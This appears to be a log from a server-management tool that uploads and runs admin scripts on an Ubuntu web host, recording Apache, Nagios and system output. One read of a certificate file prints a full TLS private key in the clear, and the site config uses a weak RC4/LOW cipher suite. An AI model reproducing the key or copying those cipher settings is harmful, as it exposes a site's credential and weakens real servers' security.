chmod 755 /tmp/pkp551540; /tmp/pkp551540; rm /tmp/pkp551540

2026-02-10 12:11:01: 




2026-02-10 12:11:01: 

PUT: /tmp/pkp739421

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-10 12:11:01: 

chmod 755 /tmp/pkp739421; /tmp/pkp739421; rm /tmp/pkp739421

2026-02-10 12:11:02: 


.


2026-02-10 12:11:02: Establishing a connection
2026-02-10 12:11:02: 

PUT: /tmp/pkp321077

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-10 12:11:02: 

chmod 755 /tmp/pkp321077; /tmp/pkp321077; rm /tmp/pkp321077

2026-02-10 12:11:02: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-10 12:11:02: 

PUT: /tmp/pkp419110

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-10 12:11:02: 

chmod 755 /tmp/pkp419110; /tmp/pkp419110; rm /tmp/pkp419110

2026-02-10 12:11:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf	1431

<VirtualHost *:80>
    ServerName	list.hopeinstoughton.org
    ServerAlias	list.stoughton.link
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	list.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
    DocumentRoot	/var/www/hopeinstoughton_list/public
    <Directory /var/www/hopeinstoughton_list>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/list_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/list_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-10 12:11:02: 

PUT: /tmp/pkp937297

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-10 12:11:02: 

chmod 755 /tmp/pkp937297; /tmp/pkp937297; rm /tmp/pkp937297

2026-02-10 12:11:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt	5417
79:de:3e:34:fe:b1:24:9d:d9:ad:c5:2f:ae:27:9f:d9

-----BEGIN CERTIFICATE-----
MIIFKTCCBBGgAwIBAgISBpodnExKmaHZrceO6cBmJc1jMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEwMTExMjI4WhcNMjYwNTExMTExMjI3WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDsyMYVgjjp9Y8mwQ6rUeXCNMXG0EiZwks6LlF9C/GAGUGBoV4z
3nQ+HH4RMlNwO1zI8EoUmcnt9UwG5KE0U5vKakMO+LVJ3PNZtiepWRvW+yvbFY0w
4GQVxgIWMgf0UktMTwMtqn/AfnZ5WxJ8LU0bVmpv8AASK0Ap2gfLyt6HI0co6YQE
HY7MozxnifeRM4ttr7voyQE0XahagdcTSAgQQj3RVrhOc5EiaSW3/9ZAz9/apzFI
TSuPODWLKIAsUFgep608ASPE7Bs07OIDxJcUmGANT2CVQJumz/Ym9ejtou542P88
QB1kIHgXOAWQa8Bv6gWKuux+6VXjAuW7ZxNdAgMBAAGjggJFMIICQTAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFHeTDBQ241lGH55BH3gtuNfuH6vlMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTAwLmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB9ABqLnWlKV5jImaDK
iL30j8C0VmDMw2ANH3H0af/H0ayjAAABnEd2QzQACAAABQBFRTOtBAMARjBEAiBn
68q9c59ec2bfgv4o4JOIelNa6N5LtD/pue69R15x4QIgDMbXjxpIzuibmlcaPZnY
+2rcPw/MSMT1c4Cn3yJVdNoAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWs
YcVOIQAAAZxHdkqrAAAEAwBHMEUCIQDwyWxF/g4jVfaxfXBEk/d6ORrPxjA9clsd
msU12UQ1DAIgLnJB/wGqsQpvZ8rh9y7Q7Q7azFPBCIhwiKDvD9fvEeQwDQYJKoZI
hvcNAQELBQADggEBACrKvwiI6YrSkZkLZdjXaVnIuMp5w193YWN79EQMvVBGmYvi
rphCKC9YyaN8ClsE0UzulZbcWBukIU7QuN0y5DZPTbKZVJN+1cQtXuGH0IXkZwD9
OdvyyZaBAboAgqbz065bJHxaUQvWRoy8LTA7cXjqMLrkLaA9r4JPOsTU2b+sHZsg
nXedLBNm0OkF9u2B/pjRqC73dRx9Ks/8rq2zFdLYtW/7yaeOi1kbaJcWcggKxNR9
dMTmdKRjx+v8gDFfKcgoRVMsYzEXb91MMyHSroNcDbTM/0W6WZ0cFHN0x3S7LoAg
Vt7D5fxcqavbp5oB2SsfikZ/cGR7tUXF2pID1CA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDsyMYVgjjp9Y8m
wQ6rUeXCNMXG0EiZwks6LlF9C/GAGUGBoV4z3nQ+HH4RMlNwO1zI8EoUmcnt9UwG
5KE0U5vKakMO+LVJ3PNZtiepWRvW+yvbFY0w4GQVxgIWMgf0UktMTwMtqn/AfnZ5
WxJ8LU0bVmpv8AASK0Ap2gfLyt6HI0co6YQEHY7MozxnifeRM4ttr7voyQE0Xaha
gdcTSAgQQj3RVrhOc5EiaSW3/9ZAz9/apzFITSuPODWLKIAsUFgep608ASPE7Bs0
7OIDxJcUmGANT2CVQJumz/Ym9ejtou542P88QB1kIHgXOAWQa8Bv6gWKuux+6VXj
AuW7ZxNdAgMBAAECggEADp15OzRNqVnlVe8zpcJz1pAQUcG4bCPbJdexuEYHnYWx
jpFJxxTTgvlE6hsmSEv5tv4R7IHuPgMBMtRjg4nSQ2UEskS1V+j3QlHP0pBJUMnc
aUpEFpYQchbwjl3Uh4bu1o0dSpvMBTMpF+YrAWwrEWVnmMotDvIJegEsWwQGG+bP
UFTmz2T8OO2AZlXxbaMS97IyoyCXY3GFJvteuY3KyXC1lc1pCn/Yqd5V/WxiuOMh
q4vNdO7zHamdyW/2MU/lnrHgjr1z3PcK1Hz4zSof5moLYXr95TLxKQM2IqOPhq5r
FgfMCSnn7yHIGliNHDoQx45dZMxN/M0vzeDcLvSAYQKBgQD2m9kPvzZ4nUMuGJDo
eXLsMJ/lEC7xEP0Mdd7tZUM5JdNqd2Tqb2+yIL83d7JvWAirdsI4A509DmXF1C2B
PtJBsZwQPWCV5pjfZcrLoP53lRn3v2+FtHbIn7RqT1LtEiZ9CJy5fABHaXKNS566
3Hkd2uUuyu5ZogGDVYQosnf5zQKBgQD1zSXw7uZ0+0bz+0RMlHzhAbCQJXKNBOlH
PPs8UHCPzjU2klJTB4OtHQuZfC2fnekEOrU5hQs6cEd/Gas6FQ0AOmK1qyR8tnjL
wqhJctJKdK+f85sab6pb+vGe8WGkSWUwncbU57C9yo7p3p3qFziN9DOZcm5Cpwnl
HMCVPXWv0QKBgQDERcW8grMXzBJr3aF3ZTHSSeD4rqittJeyEx4aUz3tfe2GDwCC
la6QVv/ZZarec3JzBVIOwtGihpL5oKWW+CjfoDxVsIPuyllhc+Kzrq7Y/hJs3DAm
ejsP8gvlkLyvcoKvgOs7tTWDoKlLS6RJlK/Q0ycU1u5c6FPL84P74A8dAQKBgQC1
0vZQ/nfNax82VdVVDLY/v387cegFtu9VOh/iouJRDknAv4ZUUwetpAGznO8m1qnK
7h6mmOsQZIQO2g8WXQIL/CSOnDXWZyh+GdVg16YFW8GagZpneNi9R6k6WPZQj9Zh
myS801KjYlZLW9jWlCzKnS0aQlKbzXJ9X8J540fOMQKBgQDif7T1dRYHOXAGmk9+
GJL8tXOJWOow0IbN/f3SWcXM8Cv2FqeELBzrf1UpA+TCcOhI7DcxF1NFIPx+jS/R
i92grellg75rSnFcEsbvkG/QDC/U9r4OlPyF/v5iyIaxXAID51G465RzKQ0KftZ8
i9nCEKYaFr7+FSyGUPTAfkZKVQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-10 12:11:41: Establishing a connection
2026-02-10 12:13:15: Establishing a connection
2026-02-10 12:13:15: Establishing a connection
2026-02-10 12:13:15: 

PUT: /tmp/pkp478332

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-10 12:13:15: 

chmod 755 /tmp/pkp478332; /tmp/pkp478332; rm /tmp/pkp478332

2026-02-10 12:13:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-02-10 12:13:16: 

systemctl reload nagios

2026-02-10 12:13:16: 




2026-02-10 12:13:16: 

PUT: /tmp/pkp142855

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp142855; /tmp/pkp142855; rm /tmp/pkp142855

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp735545

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp735545; /tmp/pkp735545; rm /tmp/pkp735545

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp819498

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp819498; /tmp/pkp819498; rm /tmp/pkp819498

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp687041

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp687041; /tmp/pkp687041; rm /tmp/pkp687041

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp965447

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp965447; /tmp/pkp965447; rm /tmp/pkp965447

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp118429

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp118429; /tmp/pkp118429; rm /tmp/pkp118429

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp624910

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp624910; /tmp/pkp624910; rm /tmp/pkp624910

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp757226

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp757226; /tmp/pkp757226; rm /tmp/pkp757226

2026-02-10 12:13:16: 


ok


2026-02-10 12:13:16: 

PUT: /tmp/pkp750173

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2026-02-10 12:13:16: 

chmod 755 /tmp/pkp750173; /tmp/pkp750173; rm /tmp/pkp750173

2026-02-10 12:13:16: 


ok


2026-02-10 12:14:05: Establishing a connection
2026-02-10 12:14:40: Establishing a connection
2026-02-10 12:14:40: Performing Server Status
2026-02-10 12:14:40: 

PUT: /tmp/pkp182005

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-02-10 12:14:41: 

chmod 755 /tmp/pkp182005; /tmp/pkp182005; rm /tmp/pkp182005

2026-02-10 12:14:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
venus

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.15.0-168-generic



2026-02-10 12:14:41: 

PUT: /tmp/pkp901973

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-02-10 12:14:41: 

chmod 755 /tmp/pkp901973; /tmp/pkp901973; rm /tmp/pkp901973

2026-02-10 12:14:41: 


[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built:   2025-12-09T15:50:28
Server's Module Magic Number: 20120211:126
Server loaded:  APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 2019
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        2019  0.0  0.9 259020 38904 ?        Ss   Feb05   0:25 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-02-10 12:14:41: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'venus',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 22.04.5 LTS',
  'rel' => '22.04.5',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2026-02-10 12:14:41: 

PUT: /tmp/pkp531097

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
